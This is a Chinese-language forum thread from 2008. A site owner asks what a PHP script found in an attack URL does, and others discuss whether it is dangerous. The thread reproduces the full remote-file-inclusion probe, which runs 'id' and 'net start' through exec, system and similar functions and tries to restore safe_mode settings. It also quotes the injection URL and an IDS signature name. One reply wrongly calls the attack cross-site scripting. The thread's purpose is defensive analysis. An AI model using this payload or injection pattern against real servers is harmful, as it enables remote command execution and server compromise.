这个script在做什么

Imnotsad

http://www.motoxclub.org.au/forum/test.txt

这个script在做什么

megablue

原帖由 Imnotsad 于 22-3-2008 04:06 AM 发表
http://www.motoxclub.org.au/forum/test.txt

这个script在做什么

测试PHP SafeMode on or off.

Imnotsad

这个script危险吗 ？

malicious or not

it will embed in the link
http://www.mainurl.com/includedi ... g.au/forum/test.txt

megablue

原帖由 Imnotsad 于 24-3-2008 09:55 PM 发表
这个script危险吗 ？

malicious or not

it will embed in the link
http://www.mainurl.com/includedir=http://www.motoxclub.org.au/forum/test.txt

危险.
cross site scripting.

Imnotsad

你又说是check PHP SafeMode on or off. seems like execute function or shell script

WEB-MISC Phorecast remote code execution attempt
retrieve from : http://www.motoxclub.org.au/forum/test.txt

Changing this CMD will result in corrupt scanning !

<?php if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net
start")))){ echo("Safe Mode of this Server is : ");
echo("SafemodeOFF"); } else{ ini_restore("safe_mode");
ini_restore("open_basedir"); if((@eregi("uid",ex("id"))) ||
(@eregi("Windows",ex("net start")))){ echo("Safe Mode of this Server
is : "); echo("SafemodeOFF"); }else{ echo("Safe Mode of this Server
is : "); echo("SafemodeON"); } } function ex($cfe){ $res = ''; if (!
empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res =
join("\n",$res); } elseif(function_exists('shell_exec')){ $res =
@shell_exec($cfe); } elseif(function_exists('system')){ @ob_start();
@system($cfe); $res = @ob_get_contents(); @ob_end_clean(); }
elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe);
$res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f =
@popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,
1024); } @pclose($f); } } return $res; } exit;




What in essence they are trying to do is use this remote 'command' to 'order' my site to divulge information.
These portions tell me that the attacker is attempting to do a 'net start' on my Windows box.

[ 本帖最后由 Imnotsad 于 30-3-2008 01:59 AM 编辑 ]